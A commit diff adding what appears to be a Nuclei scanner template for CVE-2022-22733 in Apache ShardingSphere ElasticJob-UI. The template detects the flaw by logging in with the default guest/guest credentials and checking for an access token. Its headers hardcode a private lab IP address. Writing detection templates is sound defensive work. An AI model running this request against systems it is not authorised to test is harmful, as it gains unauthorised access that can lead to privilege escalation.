Add template for CVE-2022-22733 Apache ShardingSphere ElasticJob-UI privilege escalation
parent
27e95ef56e
commit
80d33d7741
|
@ -0,0 +1,31 @@
|
||||||
|
id: CVE-2022-22733
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: CVE-2022-22733 Apache ShardingSphere ElasticJob-UI privilege escalation
|
||||||
|
author: Zeyad Azima
|
||||||
|
severity: medium
|
||||||
|
description: CVE-2022-22733 is an Apache ShardingSphere ElasticJob-UI privilege escalation vulnerability and you could achieve Remote Code Execution checkout the Reference URL for full analysis of the vulnerability.
|
||||||
|
reference: https://www.vicarius.io/vsociety/blog/cve-2022-22733-apache-shardingsphere-elasticjob-ui-privilege-escalation
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: POST
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/api/login"
|
||||||
|
headers:
|
||||||
|
Host: "192.168.0.162:8888"
|
||||||
|
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
|
||||||
|
Accept: "application/json, text/plain, */*"
|
||||||
|
Accept-Language: "en-US,en;q=0.5"
|
||||||
|
Accept-Encoding: "gzip, deflate"
|
||||||
|
Content-Type: "application/json;charset=utf-8"
|
||||||
|
Access-Token: ""
|
||||||
|
Content-Length: "39"
|
||||||
|
Origin: "http://192.168.0.162:8888"
|
||||||
|
DNT: "1"
|
||||||
|
Connection: "close"
|
||||||
|
Referer: "http://192.168.0.162:8888/"
|
||||||
|
body: '{"username":"guest","password":"guest"}'
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- '"accessToken":'
|
Loading…
Reference in New Issue